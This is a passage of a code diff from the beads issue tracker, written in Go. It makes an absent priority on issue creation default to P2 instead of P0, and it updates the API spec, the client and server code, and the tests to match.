err) + } + creates := map[string]*issueops.CreateItem{} + for _, item := range req.Items { + if item.Kind == issueops.ItemCreate { + creates[item.Create.Key] = item.Create + } + } + if a := creates["a"]; a == nil || !a.DefaultPriority || a.Issue.Priority != 0 { + t.Errorf("absent priority item = %+v, want DefaultPriority and a zero Issue.Priority", a) + } + if z := creates["z"]; z == nil || z.DefaultPriority || z.Issue.Priority != 0 { + t.Errorf("explicit 0 item = %+v, want P0 without DefaultPriority", z) + } +} diff --git a/cmd/bd/markdown.go b/cmd/bd/markdown.go index b902ad7a4..1010743c3 100644 --- a/cmd/bd/markdown.go +++ b/cmd/bd/markdown.go @@ -34,10 +34,14 @@ type IssueTemplate struct { Design string AcceptanceCriteria string Priority int - IssueType types.IssueType - Assignee string - Labels []string - Dependencies []string + // PrioritySet records that the file named a priority. Without one the + // create asks the role for its default (BatchCreateItem.DefaultPriority); + // Priority then only carries that default for display. + PrioritySet bool + IssueType types.IssueType + Assignee string + Labels []string + Dependencies []string } // parseStringList extracts a list of strings from content, splitting by comma or whitespace. @@ -77,6 +81,10 @@ func processIssueSection(issue *IssueTemplate, section, content string) { case "priority": if p := validation.ParsePriority(content); p != -1 { issue.Priority = p + issue.PrioritySet = true + } else { + fmt.Fprintf(os.Stderr, "Warning: invalid priority '%s' in '%s', using default P%d\n", + content, issue.Title, issueops.DefaultCreatePriority) } case "type": t, err := validation.ParseIssueType(content) @@ -193,8 +201,8 @@ func (s *markdownParseState) handleH2Header(matches []string) { // Start new issue s.currentIssue = &IssueTemplate{ Title: strings.TrimSpace(matches[1]), - Priority: 2, // Default priority - IssueType: "task", // Default type + Priority: issueops.DefaultCreatePriority, // the role's default, for display; see PrioritySet + IssueType: "task", // Default type } s.currentSection = "" } @@ -394,7 +402,7 @@ func buildMarkdownBatchRequest(templates []*IssueTemplate, in createInput) (issu // wire still refuses this request's Provenance and Owner (see // internal/httpclient/batchcreator.go), so `--file` is not // servable there yet. - Priority: template.Priority, + Priority: markdownItemPriority(template), IssueType: template.IssueType, Assignee: template.Assignee, Labels: template.Labels, @@ -405,7 +413,8 @@ func buildMarkdownBatchRequest(templates []*IssueTemplate, in createInput) (issu CreatedBy: in.createdBy, Owner: in.owner, }, - Dependencies: dependencies, + Dependencies: dependencies, + DefaultPriority: !template.PrioritySet, }) } return issueops.CreateBatchRequest{ @@ -497,3 +506,13 @@ func reportMarkdownBatch(issues []*types.Issue, in createInput) error { } return nil } + +// markdownItemPriority is the priority a template's create item carries: its +// own when the file named one, otherwise zero, because the item then asks the +// role for its default (BatchCreateItem.DefaultPriority). +func markdownItemPriority(template *IssueTemplate) int { + if template.PrioritySet { + return template.Priority + } + return 0 +} diff --git a/cmd/bd/markdown_test.go b/cmd/bd/markdown_test.go index e91ef89d7..c1ced444c 100644 --- a/cmd/bd/markdown_test.go +++ b/cmd/bd/markdown_test.go @@ -1,9 +1,13 @@ package main import ( + "fmt" "os" "path/filepath" + "strings" "testing" + + "github.com/steveyegge/beads/issueops" ) func TestParseMarkdownFile(t *testing.T) { @@ -254,6 +258,77 @@ func TestParseMarkdownFile_FileNotFound(t *testing.T) { } } +// An unparseable `### Priority` leaves the template to the role's default, and +// says so on stderr the way an unparseable `### Type` does. +func TestParseMarkdownFileWarnsOnAnInvalidPriority(t *testing.T) { + path := filepath.Join(t.TempDir(), "plan.md") + if err := os.WriteFile(path, []byte("## Urgent-ish\n\n### Priority\nurgent\n"), 0o600); err != nil { + t.Fatalf("write plan: %v", err) + } + var templates []*IssueTemplate + stderr := captureStderr(t, func() { + var err error + if templates, err = parseMarkdownFile(path); err != nil { + t.Errorf("parseMarkdownFile: %v", err) + } + }) + want := fmt.Sprintf("Warning: invalid priority 'urgent' in 'Urgent-ish', using default P%d", issueops.DefaultCreatePriority) + if !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + if len(templates) != 1 || templates[0].PrioritySet { + t.Fatalf("templates = %+v, want one template that leaves its priority to the role", templates) + } +} + +// A template without `### Priority` asks the role for its default instead of +// spelling 2; one that names a priority, 0 included, sends it without the ask. +func TestBuildMarkdownBatchRequestLeavesAnAbsentPriorityToTheRole(t *testing.T) { + path := filepath.Join(t.TempDir(), "plan.md") + plan := `## Names no priority + +## Names priority zero + +### Priority +0 + +## Names priority one + +### Priority +1 +` + if err := os.WriteFile(path, []byte(plan), 0o600); err != nil { + t.Fatalf("write plan: %v", err) + } + templates, err := parseMarkdownFile(path) + if err != nil { + t.Fatalf("parseMarkdownFile: %v", err) + } + request, err := buildMarkdownBatchRequest(templates, createInput{markdownFile: path}) + if err != nil { + t.Fatalf("buildMarkdownBatchRequest: %v", err) + } + want := []struct { + title string + priority int + defaultPriority bool + }{ + {"Names no priority", 0, true}, + {"Names priority zero", 0, false}, + {"Names priority one", 1, false}, + } + if len(request.Items) != len(want) { + t.Fatalf("request has %d items, want %d", len(request.Items), len(want)) + } + for i, w := range want { + item := request.Items[i] + if item.Issue.Title != w.title || item.Issue.Priority != w.priority || item.DefaultPriority != w.defaultPriority { + t.Errorf("item %d = {%q, priority %d, DefaultPriority %v}, want {%q, priority %d, DefaultPriority %v}", + i, item.Issue.Title, item.Issue.Priority, item.DefaultPriority, w.title, w.priority, w.defaultPriority) + } + } +} + func stringSlicesEqual(a, b []string) bool { if len(a) != len(b) { return false diff --git a/cmd/bd/quick.go b/cmd/bd/quick.go index e9ab99c03..3d79d3448 100644 --- a/cmd/bd/quick.go +++ b/cmd/bd/quick.go @@ -3,6 +3,7 @@ package main import ( "errors" "fmt" + "strconv" "strings" "github.com/spf13/cobra" @@ -11,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/utils" "github.com/steveyegge/beads/internal/validation" + "github.com/steveyegge/beads/issueops" ) var quickCmd = &cobra.Command{ @@ -106,7 +108,7 @@ Example: } func init() { - quickCmd.Flags().StringP("priority", "p", "2", "Priority (0-4 or P0-P4)") + quickCmd.Flags().StringP("priority", "p", strconv.Itoa(issueops.DefaultCreatePriority), "Priority (0-4 or P0-P4)") quickCmd.Flags().StringP("type", "t", "task", "Issue type") quickCmd.Flags().StringSliceP("labels", "l", []string{}, "Labels") quickCmd.Flags().String("parent", "", "Parent issue ID for hierarchical child (e.g., 'bd-a3f8e9')") diff --git a/cmd/bd/todo.go b/cmd/bd/todo.go index b05c2fc99..9ba244a3f 100644 --- a/cmd/bd/todo.go +++ b/cmd/bd/todo.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" + "github.com/steveyegge/beads/issueops" ) var todoCmd = &cobra.Command{ @@ -254,7 +255,7 @@ func init() { todoCmd.AddCommand(doneTodoCmd) // Add flags - addTodoCmd.Flags().IntP("priority", "p", 2, "Priority (0-4, default 2)") + addTodoCmd.Flags().IntP("priority", "p", issueops.DefaultCreatePriority, "Priority (0-4, default 2)") addTodoCmd.Flags().StringP("description", "d", "", "Description") listTodosCmd.Flags().Bool("all", false, "Show all TODOs including completed") diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 2cc93e90c..299076f2a 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -77,6 +77,7 @@ go_test( "comments_test.go", "context_test.go", "count_test.go", + "create_priority_test.go", "create_test.go", "cycles_test.go", "delete_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 1d12b9fa7..9516738e8 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -475,7 +475,7 @@ type ApplyCreateItem struct { // Owner The human owner, which is a different member from `assignee`: the assignee is who is working it now, the owner is who it is attributed to. Owner *string `json:"owner,omitempty"` - // Priority 0 is P0/critical. Absent means the workspace default. + // Priority 0 is P0/critical. Absent means the create default, P2 (`2`), on a server advertising `issues.create.defaultPriority`; such a server never reads an absent member as `0`. An older server stores P0 for an absent member, so a client that does not see the token sends `2` explicitly. Priority *int `json:"priority,omitempty"` // Sender Who sent this, for the message-shaped rows a plan creates. Stored verbatim and interpreted by nothing on this surface. @@ -807,7 +807,7 @@ type BatchCreateItem struct { IssueType *string `json:"issue_type,omitempty"` Labels *[]string `json:"labels,omitempty"` - // Priority 0 is P0/critical. Absent means the workspace default. + // Priority 0 is P0/critical. Absent means the create default, P2 (`2`), on a server advertising `issues.create.defaultPriority`; such a server never reads an absent member as `0`. An older server stores P0 for an absent member, so a client that does not see the token sends `2` explicitly. Priority *int `json:"priority,omitempty"` Title string `json:"title"` } @@ -1050,7 +1050,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown, and `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores the default P2 rather than P0. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1220,7 +1220,7 @@ type CreateIssueRequest struct { // ParentId Creates a typed `parent-child` edge from the new issue to this target. It must not duplicate an edge `dependencies` already spells; naming the same pair twice with two types is a `400`. ParentId *string `json:"parent_id,omitempty"` - // Priority 0 is P0/critical. Absent means the workspace default. + // Priority 0 is P0/critical. Absent means the create default, P2 (`2`), on a server advertising `issues.create.defaultPriority`; such a server never reads an absent member as `0`. An older server stores P0 for an absent member, so a client that does not see the token sends `2` explicitly. Priority *int `json:"priority,omitempty"` // Sender Who sent this, for the message-shaped rows an orchestrator creates. Stored verbatim and interpreted by nothing on this surface. diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index a1cfa73f0..6eb516386 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -434,7 +434,9 @@ func applyCreateItem(prefix string, encoded json.RawMessage, raw map[string]json issue.NoHistory = *wire.NoHistory } - item := &issueops.CreateItem{Key: derefString(wire.Key), Issue: issue} + // An absent `priority` is the role's default (CreateItem.DefaultPriority), + // never a 0 — which is P0 — made up here. + item := &issueops.CreateItem{Key: derefString(wire.Key), Issue: issue, DefaultPriority: wire.Priority == nil} refs, res := applyMetadataRefs(prefix, raw) if res != nil { return nil, res diff --git a/internal/httpapi/batch_create.go b/internal/httpapi/batch_create.go index 063816260..78ffe68e0 100644 --- a/internal/httpapi/batch_create.go +++ b/internal/httpapi/batch_create.go @@ -217,7 +217,9 @@ func batchCreateItem(index int, raw map[string]json.RawMessage) (issueops.BatchC } issue.Labels = *wire.Labels } - item := issueops.BatchCreateItem{Issue: issue} + // An absent `priority` is the role's default (BatchCreateItem.DefaultPriority), + // never a 0 — which is P0 — made up here. + item := issueops.BatchCreateItem{Issue: issue, DefaultPriority: wire.Priority == nil} if wire.Dependencies == nil { return item, nil } diff --git a/internal/httpapi/create.go b/internal/httpapi/create.go index 89901c5c5..ac64727ad 100644 --- a/internal/httpapi/create.go +++ b/internal/httpapi/create.go @@ -233,6 +233,10 @@ func (s *Server) createIssueRequest(w http.ResponseWriter, r *http.Request) (iss ParentID: derefString(wire.ParentId), InheritLabelsFromParent: derefBool(wire.InheritLabelsFromParent), ForceIDPrefix: derefBool(wire.ForceIdPrefix), + // An absent `priority` is the role's default, never a 0 this handler + // would have to make up: 0 is P0, and the document says absent means + // the default (CreateRequest.DefaultPriority). + DefaultPriority: wire.Priority == nil, } // IDPrefix stays ZERO, and its absence is a decision rather than an // omission. It exists because a workspace's own config.yaml prefix wins over diff --git a/internal/httpapi/create_priority_test.go b/internal/httpapi/create_priority_test.go new file mode 100644 index 000000000..211c2ee46 --- /dev/null +++ b/internal/httpapi/create_priority_test.go @@ -0,0 +1,99 @@ +package httpapi + +import ( + "net/http" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The three create shapes leave the default priority to the ROLE: an absent +// `priority` reaches it as DefaultPriority with a zero Issue.Priority, and an +// explicit `0` reaches it as P0 with the flag off. The handler never makes up +// the number — before, it left Issue.Priority at 0 and an absent member stored +// P0 (critical), against the document's "absent means the default". + +func TestCreateLeavesAnAbsentPriorityToTheRole(t *testing.T) { + for _, tc := range []struct { + name string + body string + wantDefault bool + wantValue int + }{ + {"absent", `{"actor":"alice","title":"t"}`, true, 0}, + {"explicit zero", `{"actor":"alice","title":"t","priority":0}`, false, 0}, + {"explicit three", `{"actor":"alice","title":"t","priority":3}`, false, 3}, + } { + t.Run(tc.name, func(t *testing.T) { + lifecycle := &roleLifecycle{createResult: issueops.CreateResult{Issue: createdIssue("bd-7")}} + ts := newCreateServer(t, lifecycle) + resp := ts.createIssue(t, tc.body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + got := lifecycle.createRequests() + if len(got) != 1 { + t.Fatalf("the role was called %d times, want 1", len(got)) + } + if got[0].DefaultPriority != tc.wantDefault || got[0].Issue.Priority != tc.wantValue { + t.Errorf("role got DefaultPriority=%v Priority=%d, want %v and %d", + got[0].DefaultPriority, got[0].Issue.Priority, tc.wantDefault, tc.wantValue) + } + }) + } +} + +func TestBatchCreateLeavesAnAbsentPriorityToTheRole(t *testing.T) { + creator := &roleBatchCreator{} + ts := newBatchCreateServer(t, creator) + resp := ts.claim(t, batchCreatePath, `{"actor":"alice","items":[ + {"title":"absent"}, + {"title":"zero","priority":0}, + {"title":"three","priority":3} + ]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + reqs := creator.createRequests() + if len(reqs) != 1 || len(reqs[0].Items) != 3 { + t.Fatalf("role calls = %v, want one request of three items", reqs) + } + for i, want := range []struct { + useDefault bool + priority int + }{{true, 0}, {false, 0}, {false, 3}} { + item := reqs[0].Items[i] + if item.DefaultPriority != want.useDefault || item.Issue.Priority != want.priority { + t.Errorf("item %d: DefaultPriority=%v Priority=%d, want %v and %d", + i, item.DefaultPriority, item.Issue.Priority, want.useDefault, want.priority) + } + } +} + +func TestApplyBatchLeavesAnAbsentPriorityToTheRole(t *testing.T) { + applier := &roleBatchApplier{result: issueops.ApplyBatchResult{ + Items: []issueops.ItemResult{ + {Kind: issueops.ItemCreate, IssueID: "bd-1", Changed: true}, + {Kind: issueops.ItemCreate, IssueID: "bd-2", Changed: true}, + }, + }} + ts := newApplyBatchServer(t, applier) + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[ + {"kind":"create","create":{"title":"absent"}}, + {"kind":"create","create":{"title":"zero","priority":0}} + ]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + reqs := applier.requests() + if len(reqs) != 1 || len(reqs[0].Items) != 2 { + t.Fatalf("role calls = %v, want one request of two items", reqs) + } + absent, zero := reqs[0].Items[0].Create, reqs[0].Items[1].Create + if !absent.DefaultPriority || absent.Issue.Priority != 0 { + t.Errorf("absent priority: DefaultPriority=%v Priority=%d, want true and 0", absent.DefaultPriority, absent.Issue.Priority) + } + if zero.DefaultPriority || zero.Issue.Priority != 0 { + t.Errorf("explicit 0: DefaultPriority=%v Priority=%d, want false and 0", zero.DefaultPriority, zero.Issue.Priority) + } +} diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index f0c7b69d9..33af3709b 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -174,6 +174,14 @@ const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" // still edits a template (bd-jkp9v3). const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" +// CapIssuesCreateDefaultPriority is the behavior capability that advertises +// that issues.create, issues.batchCreate and issues.batchApply's create items +// store the create default priority (P2) for a request whose `priority` member +// is ABSENT. An older server predating this token reads an absent priority as +// 0 and stores P0 (critical), so a client that does not see the token MUST +// send the default explicitly rather than omit the member. +const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -935,7 +943,7 @@ func (r route) specPathOf() string { var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, - CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 0460d6231..99c46b3d9 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -637,7 +637,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", - "issues.batchApply.depAddLineage", "issues.update.allowTemplate") + "issues.batchApply.depAddLineage", "issues.update.allowTemplate", "issues.create.defaultPriority") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 7465f20b6..a6b5b946b 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -8142,7 +8142,11 @@ components: `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member - unknown. The + unknown, and + `issues.create.defaultPriority`, which announces that a create + (`POST /v0/beads/issues`, `issues:batchCreate` and + `issues:batchApply` create items) with no `priority` member stores + the default P2 rather than P0. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -9790,7 +9794,12 @@ components: type: integer minimum: 0 maximum: 4 - description: 0 is P0/critical. Absent means the workspace default. + description: >- + 0 is P0/critical. Absent means the create default, P2 (`2`), on a + server advertising `issues.create.defaultPriority`; such a server + never reads an absent member as `0`. An older server stores P0 for + an absent member, so a client that does not see the token sends + `2` explicitly. issue_type: type: string description: >- @@ -10110,7 +10119,12 @@ components: type: integer minimum: 0 maximum: 4 - description: 0 is P0/critical. Absent means the workspace default. + description: >- + 0 is P0/critical. Absent means the create default, P2 (`2`), on a + server advertising `issues.create.defaultPriority`; such a server + never reads an absent member as `0`. An older server stores P0 for + an absent member, so a client that does not see the token sends + `2` explicitly. assignee: type: string maxLength: 255 @@ -12047,7 +12061,12 @@ components: type: integer minimum: 0 maximum: 4 - description: 0 is P0/critical. Absent means the workspace default. + description: >- + 0 is P0/critical. Absent means the create default, P2 (`2`), on a + server advertising `issues.create.defaultPriority`; such a server + never reads an absent member as `0`. An older server stores P0 for + an absent member, so a client that does not see the token sends + `2` explicitly. assignee: type: string maxLength: 255 diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index a2b9d9346..0a733fb39 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -99,6 +99,7 @@ go_test( "completeness_test.go", "composition_test.go", "counts_test.go", + "create_priority_test.go", "credential_source_test.go", "credential_test.go", "dial_test.go", diff --git a/internal/httpclient/batchapplier.go b/internal/httpclient/batchapplier.go index b39c12986..1fd04b1be 100644 --- a/internal/httpclient/batchapplier.go +++ b/internal/httpclient/batchapplier.go @@ -93,6 +93,15 @@ func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBat if err != nil { return issueops.ApplyBatchResult{}, err } + var priorities []**int + for i := range body.Items { + if create := body.Items[i].Create; create != nil { + priorities = append(priorities, &create.Priority) + } + } + if err := b.store.pinCreateDefaultPriority(ctx, priorities...); err != nil { + return issueops.ApplyBatchResult{}, err + } resp, err := b.wire.ApplyBatch(ctx, body) if err != nil { return issueops.ApplyBatchResult{}, applyBatchRefusal(err) @@ -264,11 +273,12 @@ func applyCreateItemBody(item *issueops.CreateItem, actor string) (*apigen.Apply return nil, err } - // Priority is sent ALWAYS, createBody's reason: 0 is P0 and a real request, - // so an absent member — which the server reads as the workspace default — - // would silently reprioritize every critical issue a plan creates. - priority := issue.Priority - out := &apigen.ApplyCreateItem{Title: issue.Title, Priority: &priority} + // Priority is sent whenever the item names one (see wirePriority). + priority, err := wirePriority(issue.Priority, item.DefaultPriority) + if err != nil { + return nil, err + } + out := &apigen.ApplyCreateItem{Title: issue.Title, Priority: priority} setItemString(&out.Key, item.Key) setItemString(&out.Id, issue.ID) diff --git a/internal/httpclient/batchcreator.go b/internal/httpclient/batchcreator.go index ea9b1f7be..7420aaac3 100644 --- a/internal/httpclient/batchcreator.go +++ b/internal/httpclient/batchcreator.go @@ -163,6 +163,13 @@ func (b *httpBatchCreator) CreateBatch(ctx context.Context, req issueops.CreateB } items = append(items, wireItem) } + priorities := make([]**int, len(items)) + for i := range items { + priorities[i] = &items[i].Priority + } + if err := b.store.pinCreateDefaultPriority(ctx, priorities...); err != nil { + return issueops.CreateBatchResult{}, err + } res, err := b.wire.BatchCreateIssues(ctx, apigen.BatchCreateRequest{Actor: req.Actor, Items: items}) if err != nil { @@ -202,12 +209,13 @@ func batchCreateItem(index int, item issueops.BatchCreateItem, actor string) (ap return apigen.BatchCreateItem{}, err } - // Priority is sent ALWAYS, unlike the five optional strings: 0 is P0 and a - // real request, so an absent member — which the server reads as "the - // workspace default" — would silently reprioritize every critical issue in a - // plan. The pointer addresses a local copy, never the caller's field. - priority := item.Issue.Priority - wireItem := apigen.BatchCreateItem{Title: item.Issue.Title, Priority: &priority} + // Priority is sent whenever the item names one, unlike the five optional + // strings (see wirePriority). + priority, err := wirePriority(item.Issue.Priority, item.DefaultPriority) + if err != nil { + return apigen.BatchCreateItem{}, err + } + wireItem := apigen.BatchCreateItem{Title: item.Issue.Title, Priority: priority} setItemString(&wireItem.Description, item.Issue.Description) setItemString(&wireItem.Design, item.Issue.Design) setItemString(&wireItem.AcceptanceCriteria, item.Issue.AcceptanceCriteria) diff --git a/internal/httpclient/bulk_roles_test.go b/internal/httpclient/bulk_roles_test.go index 5bf7a6022..50e48381d 100644 --- a/internal/httpclient/bulk_roles_test.go +++ b/internal/httpclient/bulk_roles_test.go @@ -736,7 +736,9 @@ func TestBatchCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { // dropped it. got := populatableFields(reflect.TypeOf(issueops.BatchCreateItem{})) sort.Strings(got) - want := []string{"Dependencies", "Issue"} + // DefaultPriority is carried as the ABSENCE of the item's `priority` + // member (wirePriority), pinned by TestBatchCreateLeavesPriorityAbsentForTheDefault. + want := []string{"DefaultPriority", "Dependencies", "Issue"} if !reflect.DeepEqual(got, want) { t.Errorf("BatchCreateItem carries %v, want %v.\n"+ "A new member reaches no wire member and no refusal: carry it in batchCreateItem, or refuse it with a ledger row.", got, want) diff --git a/internal/httpclient/create_priority_test.go b/internal/httpclient/create_priority_test.go new file mode 100644 index 000000000..796385f7b --- /dev/null +++ b/internal/httpclient/create_priority_test.go @@ -0,0 +1,215 @@ +package httpclient + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestBatchCreateLeavesPriorityAbsentForTheDefault pins wirePriority on all +// three create bodies: a request that asks for the default priority sends NO +// `priority` member, so the server's role applies the default — the one place +// it lives — and a request naming 0 sends `0`, because P0 is a real request. +// Asking for the default while naming a priority is refused before the dial, +// the role's own ErrValidation, rather than silently dropping one of the two. +func TestBatchCreateLeavesPriorityAbsentForTheDefault(t *testing.T) { + issue := func(priority int) *types.Issue { + return &types.Issue{Title: "t", 